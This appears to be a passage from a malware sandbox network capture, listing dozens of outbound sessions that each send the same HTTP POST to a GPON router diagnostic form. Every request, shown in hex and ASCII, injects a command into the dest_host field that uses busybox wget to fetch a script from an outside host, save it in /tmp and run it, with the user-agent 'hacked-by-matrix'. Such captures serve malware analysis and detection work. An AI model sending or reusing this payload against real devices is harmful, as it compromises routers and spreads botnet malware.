Mar 21, 2024 05:23:33.817754984 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1765	192.168.2.13	39246	118.231.219.169	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.817821980 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1766	192.168.2.13	57266	5.66.231.35	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.817883015 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1767	192.168.2.13	40100	212.120.237.17	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.817883015 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1768	192.168.2.13	57204	118.92.194.67	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.817914963 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1769	192.168.2.13	55204	42.148.121.141	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.817922115 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1770	192.168.2.13	42134	109.58.215.80	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.817948103 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1771	192.168.2.13	49502	42.181.252.39	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.818011999 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1772	192.168.2.13	48900	109.191.197.25	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.818038940 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1773	192.168.2.13	41350	42.151.193.71	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.818039894 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1774	192.168.2.13	57680	118.188.237.240	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.818093061 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1775	192.168.2.13	41988	5.165.76.252	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.818125010 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1776	192.168.2.13	34012	5.26.80.181	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.818145990 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1777	192.168.2.13	51002	42.14.112.166	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.818183899 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1778	192.168.2.13	47494	118.165.43.246	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.818212032 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1779	192.168.2.13	44920	42.241.61.67	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.818223953 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1780	192.168.2.13	47916	5.206.157.73	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.818242073 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1781	192.168.2.13	36440	118.52.199.173	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.818294048 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1782	192.168.2.13	51238	212.143.149.247	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.818311930 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1783	192.168.2.13	36662	118.160.108.244	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.818325043 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1784	192.168.2.13	54806	5.204.199.196	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.818351030 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1785	192.168.2.13	47938	212.29.16.23	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.818366051 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1786	192.168.2.13	59362	42.1.9.209	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.818423033 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1787	192.168.2.13	60246	118.165.221.193	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.818454981 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1788	192.168.2.13	42892	5.85.33.211	443

Timestamp	Bytes transferred	Direction	Data
